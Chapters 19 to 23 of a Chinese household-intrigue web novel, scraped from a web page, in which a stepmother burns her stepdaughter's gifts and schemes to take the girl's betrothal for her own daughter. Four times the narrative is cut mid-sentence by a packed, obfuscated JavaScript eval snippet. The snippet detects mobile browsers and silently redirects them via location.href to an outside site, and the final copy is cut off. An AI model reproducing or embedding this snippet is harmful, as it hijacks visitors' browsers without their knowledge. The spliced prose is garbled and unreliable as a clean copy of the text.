庄氏抹了抹眼睛：“是妾身的不是，不该同孩子置气。只是大姑娘如今性子愈发倨傲，平日里不将我这个母亲放眼里就算了，对上嫤丫头，也是动辄喝斥训斥。连荣哥儿那么小一个孩子，见到她都跟老鼠见了猫似的……” 顾世衡亦是想到当日顾姝叫顾修荣跟顾婵道歉的情形，眉头不由皱了皱。 而庄氏本来只是虚辞告状，可提及子女受委屈，竟真勾起了心头火，眼圈竟也真红了起来。她又擦了擦眼角，才道： “嫤丫头，荣哥儿都是我的心头肉，我如何不心疼，这才……这才想着小小教训一她一回。” 她偷觑顾世衡神色，又低头认错：“都是我的不是，以后断不敢再犯。” 她这般坦率认错，顾世衡心中受用，便不欲深究。因道：“罢了，你是长辈，跟她一个孩子计较什么。” 庄夫人忙应了，心里松了一口气。知道这一关算是过了。 谁知顾世衡又道：“如今高家被封了伯爵，又跟四皇子搭上关系，听说高家姑娘这一胎，乃是个皇孙。四皇子前程非凡，高家也远非从前可比。待姝丫头，你要多上些心才是。” 庄夫人刚松下的一口气又堵在了心口。自高家封爵，她便不喜顾姝这门亲事，如今丈夫竟然也因高家之势对顾姝看重起来，更是叫她心中憋闷。 庄夫人低下头，不叫顾世衡看到自己的脸色，温婉道：“妾身自是明白的。” 顾世衡叹道：“高家也是赶上好时候了，陛下因着那些传言，本就有了心结，恰好有个高家出现，正好厚加封赏，以安功臣之心。” 他随即想到从前周家也是因为此事被牵连，便住了口，补道：“也是高家自己争气，都贬到那般偏远之地，还能再挣个出身出来。” 庄夫人想到高晏那英武威仪的模样，更是意难平。只能低声应和。 顾世衡见她态度恭顺，面露满意：“我不日要领兵出征。少则半载，多则一年，方能回来。姝儿年岁已不小。我不在的时候，你可先与高家商定亲事，成亲虽须得等我回朝，只是前头诸礼，不妨先行操办起来。” “侯爷思虑周全。” “高家正值鼎盛。你莫要再与姝儿置气。”他沉吟片刻：“挑几样上等补品首饰，送到她屋里。也叫她知道，父母待她的一片慈心。” 庄夫人张张口，终是没有反对，柔声道：“是，妾身这便去办。” 窗外夜色渐浓，烛火摇曳，在她低垂的眉间投下一片晦暗阴影。 20. 第 20 章 瑞萱堂内烛影摇曳。 顾姝正埋头给手中靴子绣上最后几针。烟云悄步进来，将灯烛又挑亮了些，轻声劝道：“姑娘，时辰不早了，该歇息了。” 见到烟云，顾姝心头仍有些异样。她勉强按下情绪，只道：“只剩一点儿了。今日将父亲的靴子做完，明日再将母亲的鞋子收完针，待晚间便可一同呈给父亲母亲了。” 烟云捧起另外一只做好的靴子，奉承道：“姑娘一片孝心，侯爷和夫人心中一定欢喜。姑娘绣活本就好，如今又花了两个月的时候做这靴子，慢工出细活，怕是宫中的活计也不过如此了。” 顾姝淡淡一笑，并未接话，只垂首继续走针。 昨日庄夫人遣人送来两匣燕窝、两匣阿胶并几匹上好衣料，道是她前阵子生病体虚，这些补品给她调养之用。 顾姝心知这是父亲的意思，心中愧意翻涌。 父亲公务那般繁忙，自已却无凭无据猜疑继母，还为此惊动父亲，劳动他替自己操心这些琐事，实是不该。 幸好给父母亲做的鞋子也快好了，索性这两日便赶工完成，赶紧送过去。父亲即将领军外出，现在做好新鞋，恰用得上。 如此，也能叫父亲知晓，自己已将他的教诲牢记心上。 果然，次日昏定请安时，顾世衡与庄夫人收到顾姝的鞋子，皆是笑容慈爱。尤其是庄夫人，更是连声夸赞顾姝孝顺懂事。 顾嫤在一旁，低头悄悄翻了个白眼，从鼻孔发出低不可闻的“哼”声。 众人散去后，顾婕缓步走在夹道上，看着前面顾姝的背影，对陈姨娘低语：“大姐姐年年做这两双鞋子，倒真是一片赤诚。” 陈姨娘神情复杂：“终归是她的一片心意。” 她瞥了女儿一眼：“你若是想，也可学着做。” 顾婕失笑：“大姐姐心思澄明，我比不得。况且，我女红粗糙，还是莫要献丑了。” 顾姝自幼养在老夫人跟前。顾老夫人规矩严明，极重针黹女红，亲自督促教导，是以顾姝的的绣活在姐妹中最为出众。 有一年老夫人寿辰，顾姝献上一双鞋子，顾老夫人穿上之后大为欢喜，只夸顾姝做的鞋好，极是合脚。又嘱她再为父母各做一双。自那以后，顾姝年年便为家中长辈做两双鞋，至今未辍。 至于其他姑娘，老夫人不看重顾婕这个庶女，顾婕也乐得不凑这个趣；顾嫤那时年岁尚小，还未学针线，故而这“孝心”，便成了顾姝一人的惯例。 行至兰葶院角门，陈姨娘却不进去，对着顾婕摆摆“你自已回去罢，彩莺也不必跟着，我去园子里转转。” 顾婕无奈，只得嘱咐：“莫又去赌钱，早些回来……” “知道知道，不过找人说说话罢了”，陈姨娘推顾婕过门：“你快些回去罢！”见她进了院子，方抬脚跨进月洞门，往花园深处去了。 而明慎堂里，庄夫人瞧着一脸不高兴的顾嫤，笑着嗔她：“你不回去，窝在这里生什么气？” 此时只剩母女二人，顾嫤终于将不满倾吐出来：“就她顾姝会做好人，年年做鞋子，显摆给谁看！” 庄夫人轻点她额头：“你既说她卖好，那你也做一双给我穿呀！” 顾嫤嘟嘴：“母亲若要，我明日就做。” 庄夫人白她一眼：“行了，你这丫头，说什么气话！府里这么多绣娘下人，我还缺你这双鞋子不成。她爱做便叫她做去，你费这功夫做甚？” 顾嫤哼哼道：“还不是你跟父亲，如今都只向着顾姝。人家如今是大小姐，将来是伯夫人，尾巴都要翘天上去了，你还替她说话……” “你这冤家！”庄夫人戳她脸颊：“我与你父亲，从来都只疼你跟荣哥儿两个的。旁人如何能比得？” 顾嫤鼻间轻哼一声，面色已和缓许多。 庄人人却是想到高晏那人才品貌，心中微动，问顾嫤：“你也觉得……顾姝的亲事好？” 顾嫤撇嘴：“伯府世子，将来的伯爵，这亲事若还不好，什么才算好？” 庄夫人沉吟片刻，又问：“那高晏这人呢？” 顾嫤回想着高晏的长相，随口道：“生得倒是不错。” 想想那张近乎冶艳的面容，又补了句：“那般相貌，配顾姝倒是可惜了。” 母女连心，庄夫人恰也如此作想。 顾姝那死丫头，凭什么得到这么好的姻缘？她女儿，尚不知将来能许何等人家，么顾姝却稳稳当当地做伯夫人…… “夫人，夫人！”高妈妈的轻唤将她从思绪中拉回。 庄夫人恍然回神，才发现女儿不知何时已经退下。 高妈妈温声道：“夫人，时辰不早，该梳洗安置了。” 庄夫人颔首。丫鬟们鱼贯而入，奉上盥洗之物。高妈妈替庄夫人卸去簪环，金铃金环两人执帕伺候净面。 洗漱完毕，金铃金环二人各执一手，为庄夫人涂抹香膏，轻柔按摩。高夫人则是边拿着梳子缓缓地给庄夫人通发，边找话与庄夫人闲聊：“咱们三姑娘一日比一日出落得标致，这般模样气度，满京城也挑不出几个能及的！” 这话正叩中庄夫人的心事，她抽出手摆了摆：“行了，你们先退下。” 高妈妈梳发的动作愈发轻柔。 几个丫鬟端着物什尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922737|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆退出去，庄夫人自行揉着手背香膏，斟酌着问高妈妈：“你觉着，顾姝这门亲事如何？” 高妈妈自然知道庄夫人的心思，嗤笑一声：“亲事自然是极好的，就是看大姑娘有没有这福分消受了。” 庄夫人亦笑了笑。高妈妈是跟在她身边多年的心腹，她也无需遮掩：“唉，若单论门第，高家还比不得咱们家。只是高晏那孩子……生得实在是好。” 高妈妈附合：“可不是呢。高公子真真仪表堂堂，气度不凡。” “便是嫤丫头，也说他生得好呢……”庄夫人缓缓道。 高妈妈一拍巴掌：“三姑娘有眼光！”她随即又赞道：“论品貌，咱们三姑娘与高公子才是真正般配。” 庄夫人不觉露出笑容：“妈妈，侯爷如今看重顾姝，不过是为着高家这门姻亲罢了。我今天瞧着，嫤儿对高家那小子也有几分中意。若是将这门亲事给了嫤儿，既能不叫顾姝嫁过去，又不曾坏了跟高家的联姻。侯爷便也无话说。妈妈以为如何？” 高妈妈笑道：“夫人思虑周全，自然是再稳妥不过。”稍顿，她又道：“只是高家那边，也得探探口风才是” 庄氏轻声道：“是啊，高家那头的想法，是得试探试探……” 至于顾侯的态度，她是不在意的。 庄夫人的目光落在一旁椅子上的布包，抬了抬下颔：“将那个烧了罢。” 高妈妈点点头，却未去取那布包，反而去了外间拿了把剪刀进来，这才打开布包。 里面是两双鞋子。一双是水青色缎面女鞋，绣着喜鹊登枝的纹样。针脚细密工整，单是梅花，便用了深浅三四色红线，足见用心。 另一双靴子却是更加细致。黑缎鞋面，里面衬了一层薄皮，既保暖，又防水。靴筒有半尺多高，边缘用金线绣了两层云雷纹。黑色鞋面乍看素净，只是对着灯光细看，才能看到上面亦用黑线绣了团团万字纹路。烛火之下，黑缎幽光流转，金色云雷纹边熠熠生辉，华贵异常。 高妈妈拿起剪刀，咔嚓剪开靴筒，又利落剪开鞋面，这才就着烛火上点燃，掷入屋中火盆。另一只靴子与那双绣鞋，亦是如法炮制。 盆中火焰升腾跳动，映得庄夫人面容明暗不定。她唇角那丝笑意在跳跃的焰火中，显得格外幽深。 “咱们大姑娘年年这般费心做鞋子，真是孝心可鉴啊”，她轻声道，声音似叹似讥，“可她怕是永远想不到，这些鞋子，侯爷可是从来没有穿过一回！” 随着火盆中鞋子逐渐被火焰吞噬殆尽，火苗渐渐熄了下去。室内光线也黯淡许多。庄夫人脸下那丝微笑，也渐渐融进深浓的夜色里。 21. 第 21 章 深夜，花园里杂物房里依旧人影幢幢。 “老樊，劳烦你再帮咱们点个亮儿。这黑灯瞎火的，牌都瞧不清了！” 樊婆子好脾气地应了，从墙角案上又端了个烛台，就着灯点亮，随手放在说话那人手边，自已又退到了墙角。 陈姨娘倚在墙角，笑咪咪地看着场中人打牌，见她过来，顺手递给她一把瓜子，见众人都聚精会神地盯着屋中央的牌桌，这才磕着瓜子小声问她：“上回托你打听高家的消息，可跟刘姐姐说了？” 樊婆子目光仍落在牌桌上：“半个月前我就传了话。老刘说，这些高门大户的消息难打听，怕得等上一两个月才成。” 陈姨娘点点头：“那倒不着急，说了就成。刘姐姐办事稳妥，交给她，咱们就不需操心了。” 樊婆子笑道：“嗐，这话叫老刘听了，准要骂你会躲懒。” 樊婆子跟陈姨娘能这样亲近，也是有缘故在。 樊婆子是个苦命人，年轻时运道不好，嫁了个烂赌鬼。丈夫输红了眼，将家里东西当得一干二净不说，竟还要把她卖到那见不得人的地方去。 樊娘子偷听到丈夫和人谈她的身价，吓得从家里跑了出来。正撞上周夫人的车驾。 当年周夫人怀着顾姝，心肠格外软，见一个妇人前头跑，后头几个大汉追，当即就将人拦了下来，问明究竟，做主将樊娘子买了下来。 这原本算不得什么大事，也无需她亲自过问。况且她因有了身孕，家里本就需添一批人手，顺手便将樊娘子交给了相熟的中人办契纸。中人便将樊娘子与另一批一起要进府的人一同送进了顾家。 后来周夫人过世，顾侯爷将周夫人的留下的一些老人，都给了恩典还发身契，放出府去。只这个樊娘子，因不是周夫人经手买来的，又是个做粗使的杂役，却是留了下来。 樊娘子心眼实在，一直记得是周夫人救了自己、给了活路，所以和陈姨娘格外亲近，只是外人不知二人交情罢了。 再者，陈姨娘毕竟是内宅妇人，轻易出不得门。樊婆子一个在花园里做杂役的老婆子，出府倒是方便得很。故而平日有什么需往府外跑腿传话的事，陈姨娘都是托了樊妈妈去做。这回要打听高家的事儿，自然也是由樊妈妈往外递信。 两人说完正事，便都往前凑了凑，专心看牌局。 陈姨娘这才留心到桌上的码子，惊道：“乖乖，今儿怎么玩这么大？一注竟有一百钱！” 虽说生活在侯府这个富贵锦绣乡里，可下人也分三六九等。园子里玩牌的这几个，大都是低等粗使仆妇，月钱不过是八、九百文罢了。平日玩耍，不过是三文五文地玩，今天竟是开到一百文。 樊妈妈也摇头：“啧啧，是老马的主意吧，她这个人，赌性太重了。咦，怎么老安今儿也下场了？她不是平时都不玩的么？” 樊妈妈自已也是不喜欢赌钱的。不过是看个热闹罢了，见场上玩这么大，却是有些看不下去。 陈姨娘道：“你瞧，老安今儿手气倒好。啧啧啧，这把摸了对天杠，彩头翻三番，哟，这回赢得可不少！” 不仅她，牌桌上几人也是嚷得有劲儿。安婆子原本木着张脸，这回赢了把大的，也是兴奋起来，脸上的褶子都舒展开，正待开口说话，屋门却是“砰”地一声被人推开。 众人纷纷扭头看向门口，随即个个变了脸色。 一个巡夜的管事妈妈，带着几个媳妇婆子，正站在门口，面若寒霜，将屋内众人一一扫视。 见众人纷纷噤声，神色畏缩张惶，她眼中闪过一丝得意，随即又肃了神色，厉声斥道：“府里头三令五申，不许聚众吃酒赌钱。你们倒是好大的胆子！” 一室死寂。 领头的管事又问：“今日这局，为首的是谁？” 几个婆子对视一眼，都悄悄低下头，不敢吱声。 一室内静得只剩烛花偶尔的噼剥之声。 见无人应声，那管事妈妈便将视线落到房间一角，嘲讽道：“陈姨娘，怎么不说话了？还要我请您出来不成？好歹您也是半个主子，竟是公然夜间叫人聚众赌博。这叫人怎么说？未免也太不成样子！” 陈姨娘见她竟是问都不问，就把帽子往自已头上扣，索性也不辩驳，直接站了出来，插腰便啐了一口，骂道：“知道老娘是什么人，还敢在老娘跟前充大头蒜？我呸！你算个什么东西！” 领头这位管事妈妈姓周，管着府中洒扫处。虽不是什么顶要紧的位子，但在府中也算有头有脸。 她男人姓罗，叫罗四有，在外头管着府里的铺子。两个儿子，一个管着库房，另一个早年间得了恩典放良出去，还娶了个官家小姐。 一家子都是体面人。平日里谁见了她，不客客气气地唤一声“周管事”？ 今夜轮到她巡值，查获这么一桩事，本是大功一件，还能顺便整治整陈姨娘。 却是再想不到，陈姨娘居然有这个胆子，当着众人的面，如此下她的脸面。 周管事气得脸颊发抖，嘴唇发颤，一时间竟说不出话来。 半晌，她方找回声音，指着陈姨娘，语不成句：“好，好，姨娘好大的威风。我是没本事拿姨娘如何，只能禀告夫人，求夫人处置了！” 陈姨娘神色更是不屑，又从鼻子里重重哼出一声：“夫人要罚就罚，我认就是。你算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922738|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个什么东西，也配在我跟前喝五吆六？真当自已是什么牌面上的人不成？” 陈姨娘这话说得实在难听。 周管事也是几十岁的人了，多少年没受过这般羞辱。她咬牙切齿：“好，好。好得很……” 知道陈姨娘嘴毒，周管事也不再跟她纠缠，转而叫人把桌上的骨牌赌注都收了起来，对屋内众人冷笑道：“陈姨娘是主子，跟咱们可不一样。便是上头怪罪下来，人家也担得住。倒是你们几个，一顿板子下来，再丢了差事，就知道厉害了！” 陈姨娘翻了个白眼，从鼻孔里又拖出长长一声“哼”。 周管事这才转身看着陈姨娘，冷冷道：“姨娘，咱们，明天见！” 说罢，带着一群人甩手走了。 待周管事走远，不屋中众人才敢动弹。组局的马婆子讨好地凑到陈姨娘跟前：“唉，瞧这事闹的。今晚上多亏姨娘了。不然，还不知道这老婆子要如何整治咱们呢！” 她本想着今晚被逮个正着，一顿重罚是少不了的了，不想那周管事竟是将枪头直接对准了陈姨娘。倒是叫陈姨娘替她背了个锅。 另外几个婆子也纷纷应声：“可不，今晚真是多亏了姨娘……” 今晚之事，在场几人都是跑不了的。可陈姨娘顶在前头，她们几人的责罚定然是要轻上许多。 陈姨娘心情犹自不好，只勉强笑笑：“你们几个老货，别光说这些虚的。明儿个我是少不了被夫人骂的。要是不请我大吃一顿，我可饶不了你们几个。” 马婆子当即道：“该的，该的！咱姐儿几个可不是那虚头巴脑的人，赶明儿就给姨娘凑个席面。姨娘您坐首位！” 陈姨娘笑道：“那成，那我等着你的席面！” “姨娘擎等着罢。不整治个二两银子的席面，算我老婆子对不住您！” 毕竟出了这场事，众人说了几句，也就意兴阑珊地散了。陈姨娘跟樊婆子交待了几句，正待要走，却看到安婆子还愣愣立在屋里，脸色极差。 陈姨娘走过去，轻轻碰她：“老安，走了。” 安婆子挤出个笑容，只是那笑怎么看怎么勉强：“嗯嗯，就走，就走。” 陈姨娘便笑她：“老安你也是，我明儿个要挨罚的人都不怕。你不过是赢的钱没到手，难过个什么！” 最后一把，安婆子赢了足有二三两银子，却都叫周管事搜走了，也难怪她脸色不好。 安婆子没接话。两人沉默走了一路，安婆子似是鼓起勇气道：“陈姨娘……” “嗯？” 安婆子吞吞吐吐道：“陈姨娘，你，你最近手头方便不？能不能……借我十两银子？” 22. 第 22 章 陈姨娘在仆役中素来人缘极好，消息也灵通，全凭她为人豪爽，在小钱上从不计较。 听安婆子说完，当即痛快道：“十两银子倒没什么。只是你知道，我就指着月钱过日子。得等我领了月钱再说。” 安婆子心里一块大石落地，忙笑道：“自然，自然。多谢姨娘，唉，我就知道，姨娘最是热心肠。” 这话说得十分真挚，看来是真遇上难处。 陈姨娘一边客气着，一边心里头却是琢磨：安婆子这般着急，究竟是遇着了什么事？ 夜色已深，两人在岔道口分了手，各自回去。 身边没了旁人，陈姨娘这才觉出愁来。 明日夫人的训斥责罚定定是躲不过了。她多年无宠，庄夫人本就不将她放在心上。且庄夫人这个人，素来喜欢在面上装贤惠，陈姨娘倒是不如何怵她。横竖她也不指望顾侯的宠爱，便是丢些脸面，过两日也就罢了。 只是顾婕那边，却是又免不得要挨一顿数落了。 想到顾婕，陈姨娘嘴里微微发苦。这丫头平时在外头沉默寡言，可对上她，那话却是一套又一套，常把陈姨娘堵得哑口无言。 罢了，左右不过听她念叨一顿，难捱两日罢了。 陈姨娘给自已打了打气，抬头挺胸回了屋。 果然，第二人，庄夫人便将陈姨娘叫了去斥责了一顿，又罚了三个月的月钱。 也是因为侯爷出征在即，庄夫人都忙着给顾侯打点行装，无暇多管，这才轻轻放过。 只是晚上待到顾侯归家，庄夫人不免要在他跟前告了一状：“陈氏如今愈发不成体统。大晚上的，竟同那些粗使婆子凑一起赌钱，叫巡夜的逮个正着。真是把府里的脸面丢尽了！” 说这话，既为告状，亦是表功，彰显自已治家严谨。 顾世衡听了，眉头当即皱起：“真是胡闹。待我走了，这府中庶务需得好生整治一番，莫要叫下人们再闹出这等事来。” 庄夫人柔声应道：“侯爷放心，您领兵在外，家里头，我自会好生料理，断不叫您在外头分心。” 顾世衡面露满意之色：“你明白便好。此外，我前日见过高景川，亦是跟他说定了婚事。我走之后，便可开始走礼。” 庄夫人笑容一滞，勉强应道：“是，我知道了。” 随即又试探着问：“既如此，大姑娘的嫁妆也该置办起来了。不知侯爷是如何打算的？” 顾世衡话到嘴边又改了主意：“我先思量一番，过后再说罢。” 待回到厚德堂，顾世衡便叫了顾姝过来。 顾侯面容和煦：“我过两日便要出征，一年半载方能归来。你是家中长女，我不在家，须记得孝敬母亲，照顾弟妹。” 顾姝恭敬应是：“女儿定当谨记父亲教诲。” 顾世衡微微颔首，又道：“你年岁也不小了。你母亲如今已开始操持你的婚事，嫁妆也已开始置办了。你若有什么想法，也可一并说出来。” 顾姝心底泛起暖意，垂首道：“婚姻大事，父亲母亲做主便是。女儿无不听从。” 父亲素来慈爱，总不会亏待自已。 顾世衡面露欣慰：“你嫁入高家，我预备给你备上一万两银子的嫁妆。” 顾姝微微一怔。 一万两，这数目着实不少了。 只是，母亲早逝，唯有她一个孩子，母亲的嫁妆自然是全数归她。府里公中想必也会添补一些。 陈姨娘曾说过，母亲陪嫁过来的嫁妆有八万两，给了外祖一万两。父亲也说，母亲曾变卖了些嫁妆援助外祖家。难道如今，母亲的嫁妆竟连一万两都不剩了么？ 只是思及当年外祖家之事，顾姝随即释然。将心比心，若是父亲有难，自已即使出嫁，也不会可惜钱财，定也会变卖嫁妆以换取家人平安。 顾姝收敛心神，轻声应道：“是。” 顾世衡见顾姝如此乖顺，心底亦是微微松了口气。 不料此时，顾姝却又开口道：“父亲，母亲留给我的嫁妆，可以叫我瞧瞧么？” 顾世衡面容依旧和煦，只目光却带了些许冷意：“哦，这是为何？” 顾姝却未多想，老实答道：“毕竟是母亲留下的物件，每一件都是母亲的慈心，无论多少，女儿只想看看，也算全了对母亲的孝心。再者，女儿如今大了，或者也能学着自已管一管了。” 顾姝一直存着自已亲自打理母亲嫁妆的心思。倒非贪图钱财，只是，母亲的东西，由她这个亲生女儿打理，本就是名正言顺。再则，她也想知道，母亲都给自已留了些什么。这些，都是母亲给自已的念想。 只是她从前年纪小，力有不逮，并不敢贸然张口。今日父亲主动说起，且听这话意思，母亲的嫁妆所留也不算多，自已倒不必假手于人，自已管着便是。 也可叫父亲知道，自已长大了，能为父母分担辛劳了。 顾姝想着，心底不由生出几分雀跃。 果然，顾世衡显得很是欣慰：“说得不错，正是这个道理。只先前倒不曾听你提过此事，可是身边有人提醒？” 顾姝面色微红，道：“并不曾，也是方才听父亲说起嫁妆，才临时想起来。” 顾世衡颔首：“可见你如今果然是长大子，懂事许多。明日我就叫你母亲，把你周氏母亲的嫁妆整理出来给你。” 顾姝听得“周氏母亲”几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922739|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字，却觉得有些刺耳，被父亲夸奖的喜悦也淡了几分。这是她的生身母亲，哪里需要加上周氏二字了。 只抬头看看父亲和煦的面庞，她终是轻声应道：“多谢父亲。” “要把姝儿生母的嫁妆交给她自已打理？”庄夫人听闻这个消息，心头一骇，强笑道：“姝儿还是个孩子，如何能管得了这些？” 顾世衡面色也不甚好看：“她要成亲了，她母亲的嫁妆自然要给她陪送过去。由她管着，也是理所当然。” 庄夫人眼珠一转，小心问道：“那侯爷，姝丫头的嫁妆，可是定下来了？” 顾世衡瞥她一眼：“暂且按一万两准备。” “一万两！”庄夫人捂住胸口，险些喘不上气。 她当年嫁到顾家，连聘礼带嫁妆，统共也才勉强凑够两千两银子！ 顾姝这丫头怎么就这般好命，嫁到伯府不说，嫁妆还足有一万两。 如今库房里所剩，如今也就两万两不到了。若全由顾姝带走，将来她的嫤儿，荣儿成亲时，又该如何是好？ 绝对不成。 庄夫人急道：“那库房里东西又多又杂，便是叫姝丫头管，也没个章程，她一个孩子家，哪里理得出头绪？只怕反乱了套！” 顾世衡思忖片刻，道：“你将库房里的东西清整一番，理个七八千两银子的东西出来给她。到时候再补些田地铺面，如此嫁妆也好看些。” 庄夫人更是气闷：竟还要添些田地与铺面！ 顾世衡扫她一眼，语气里带了几分警告：“与高家的婚事极为紧要，你莫要节外生枝。嫁妆之事，也要小心操办，若是出了差子，我唯你是问！” 庄夫人低头应声：“是，妾身知道了。” 只是垂在袖中双手已紧握成拳，指甲已深深掐进掌心。 上下忙碌中，大军出征的日子很快便到。 初冬的清晨，薄雾如纱，笼罩着整个侯府。几枝光秃秃的枝桠从高高的围墙里探出，在微寒的风中轻轻颤动，衬得天空愈发灰白。 定远侯府正门大开。定远侯全副铠甲，踩上马石，由护卫扶着稳稳上马。他握紧缰绳，方回首后望。庄夫人领着几个孩子并两个姨娘，整整齐齐立在门口。齐声祝道：“恭祝侯爷/父亲武运昌隆，早日凯旋！” 顾世衡点点头，转首策马而去。 顾姝目送父亲的身影渐行渐远，心里一片怅然。待回到瑞萱堂，便去了正房的西次间。 这原是当年顾老夫人在世时的礼佛之处。堂上供了一尊羊脂白玉杨柳观音大士像。 顾姝燃起一柱香，双掌合什，默默祝祷：“愿大慈大悲观世音菩萨保佑父亲，平安归来……” 23. 第 23 章 定远侯被任命为钦差副使，征讨北漠，这事韩夫人自然也听丈夫说了。 高景川还感叹：“定远侯这些年在朝中虽然名声不显，实则极善明哲保身。这回，竟又让他谋到这样一桩好差事……”话语之间，颇有几分羡慕。 韩夫人对这些却是不懂，疑惑道：“不过是领兵出征，如何就算是好差事了？” 高景川道：“北漠戎人十几年前被咱们打得怕了，这些年都不敢犯边。这回本来是要商讨互市之事。却碰上他们自家内讧，伤了咱们使团的人。如今那边新王的位子还没坐稳，军心涣散。真动起手，咱们胜算极大。这般既能立功、风险又小的差事，自然是上好的机会。” 高景川想得是前程仕途，韩夫人一个内宅妇人，却难免想到两家的亲事。由此看来，定远侯如今在朝中虽未担任什么要职，但确系有底蕴的人家。与顾家的亲事，着实要重视。 果然，高景川亦道：“顾侯出征前与我提过，说是孩子们年岁也不小了，先把六礼走起来。等他凯旋，便可正式办婚礼。这两日你去顾家一趟，同他们议议定亲的事。” 韩氏正有此意。次日便往顾家送了帖子，两日之后，又带着高晏登门拜访。 庄夫人依旧在明慎堂的正堂接待韩氏母子，身边却无旁人，只有顾嫤一个。 顾嫤见高家母子过来，眼中闪过诧异，随即规规矩矩行了礼。 庄夫人便笑道：“这孩子，成日里就爱缠着我说话，方才正与我说园子里菊花开得好了，要给我摘几朵放屋里。” 韩夫人心中纳罕，既知是她母子前来，怎么却不叫顾姝来，反叫顾嫤在旁作陪？ 面上却仍是笑道：“女儿到底是跟母亲最亲。令爱伶俐可人，便是我，也喜欢得很。” 见庄夫人只是笑，却无让顾嫤回避之意。韩夫人心念微动，不觉又微微转头看了眼顾嫨，见她只是垂首静坐，聆听二人对话，姿态十分端庄。 再看庄夫人，满面含笑。 韩夫人忽然品出些意味出来，不由试探问道：“上回见面，我瞧府上大姑娘气色有些不足。因着那时忙，人多嘴杂的，不好细问。却不知这几日，大姑娘的身子可好些了？” 庄夫人笑道：“我们大丫头身子原本无碍，只是不巧，早上丫环说她昨儿个下午在园子里吹了点风，早起便有些头疼，今日连晨安都未曾来请。”说着转头吩咐，“去叫大姑娘屋里的烟云过来回话，看大姑娘现下如何了。” 顾嫤闻言，悄悄抬头看了母亲一眼，却未作声。 不多时，烟云便过来，行了礼，恭敬回道：“大姑娘因着头疼，昨天晚上便没有歇好。方才服了药，刚歇下。” 庄夫人便略带歉意道：“韩姐姐，您看这……” 韩夫人此时已顾不计较顾姝是否真病。她满心都在揣测庄夫人的用意。至于订亲一事，眼下自然更是不提，只顺势道：“既是如此，我们便不去打扰大姑娘了。改日再上门拜访，到时候再见也是一样。” 几人又叙了几句闲话，韩夫人方起身告辞。 母子在马车上，韩夫人看着相貌俊美的儿子，忽地轻轻一笑。 高晏奇道：“母亲笑什么？” 韩夫人笑道：“我儿品貌出众，怪道人人争抢。” 高晏也是一笑。 方才顾家那情形，他亦是觉出几分异样。于男女一道上，他本就心思灵敏。加之母亲这么一说，他自是明白所指为何。 韩夫人却又沉吟起来：“庄氏到底没有明说，她们那头，到底是个什么章程，咱们也不清楚。这事儿，还得再去一趟，探探她的口风才是。再则，” 她看了眼儿子，迟疑道：“再则，顾姝毕竟是定远侯府的嫡长女。那顾嫤，不过是个继室之女，身份上终究是差了几分。” 顾家姐妹都生得好容貌。只是顾姝瞧着端庄温婉，顾嫤却是娇媚灵动，更合高晏的心意。 见母亲犹豫，高晏便道：“话虽如此，只是，顾姝一个不得宠的长女，又没有母家扶持，到底比不得庄夫人的亲生女儿来得实惠。” 择选儿媳是大事，韩夫人毕竟不敢自专，待到晚上，便将此事说与了高景川。 高景川的想法倒是与高晏不谋而合：“定远侯就一个嫡子。既如此，自然是娶与将来的定远侯一母同胞的姐姐更为稳妥。且周家早就败落，顾家大姑娘亦并无外家相援。娶她，不如即顾家三姑娘的助益大。” 韩夫人细想了想，点头道：“这也是。嫡长女的名头虽好听，可说起来，还是有娘的孩子更有人疼。” 她看了看丈夫和儿子，端起茶水抿了一口。 韩夫人心底还有一层计较，却是不好跟父子二人明言：顾姝，是在高家落魄的时候应下这门亲事的，又是嫡长女。日后进了门，天然便占着几分底气。自己虽是婆婆，却不好拿捏这个于微末之时定下的儿媳妇，惟有捧着敬着。 可若是顾嫤进了门，那是顶替了她姐姐的婚事嫁进来的。这样的儿媳妇，可就没有什么底气。婆媳相持，自然是她这个婆婆说一不二了。 一家人想法一致，韩夫人心里踏实下来，便道：“过两日，我再上门，仔细探探庄氏的态度。若她确有那个心思，咱们便娶了顾家三小姐也未尝不可。” 高景川缓缓捋须，道：“嗯，顾家那边的意思，是得再探探。不过你也不必着急。咱们家，要紧的是跟定远侯家结亲。至于娶那个女儿进门，说到底，并不重要。如今想要换亲事的是他顾家人。这种事，叫他们自家去料理。咱们只管等着提条件便是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 